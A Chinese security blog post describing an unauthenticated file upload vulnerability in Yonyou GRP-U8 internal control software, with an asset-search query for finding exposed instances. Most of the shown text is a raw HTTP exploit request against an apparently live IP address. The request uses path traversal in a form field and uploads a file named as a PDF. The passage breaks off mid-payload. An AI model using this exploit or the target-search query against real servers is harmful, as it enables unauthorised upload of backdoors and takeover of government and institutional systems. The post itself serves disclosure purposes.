用友GRP-U8 SmartUpload01 文件上传漏洞

最新推荐文章于 2024-11-22 09:43:54 发布

原创

最新推荐文章于 2024-11-22 09:43:54 发布 · 2.8k 阅读

标签

#web安全 #安全

收录于

文章报道了用友GRP-U8内控管理软件存在的文件上传漏洞，攻击者可借此上传恶意文件获取权限。文章详细描述了漏洞复现方法，并提出了通过防火墙和安全策略整改的建议。

漏洞描述

用友GRP-U8行政事业内控管理软件是一款专门针对行政事业单位开发的内部控制管理系统，旨在提高内部控制的效率和准确性。该软件/u8qx/SmartUpload01.jsp接口存在文件上传漏洞，未经授权的攻击者可通过此漏洞上传恶意后门文件，从而获取服务器权限。

资产测绘

app=“用友-GRP-U8”

漏洞复现

poc：

POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: 111.230.26.150
Content-Type: multipart/form-data; boundary=----800717874476702101754515
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Length: 3438

------800717874476702101754515
Content-Disposition: form-data; name="uname"

../../../../../../../../../gogogo
------800717874476702101754515
Content-Disposition: form-data; name="input_localfile"; filename="gogogo.pdf"

<jatools Class="jatools.ReportDocument" Name="jatools report template">
<VariableContext>
</VariableContext>
<Page>
<Name>panel</Name>
<Children ItemClass="PagePanel">
<Item0>
<Name>header</Name>
<Width>753</Width>
<Height>80</Height>
<Children ItemClass="Label">
<Item0>
<Text>用一个Student对象,和其getMembers()方法,作成一个嵌套的表格dlvmwt</Text>
<ForeColor>-65536</ForeColor>
<X>41</X>
<Y>15</Y>
<Width>362</Width>
<Height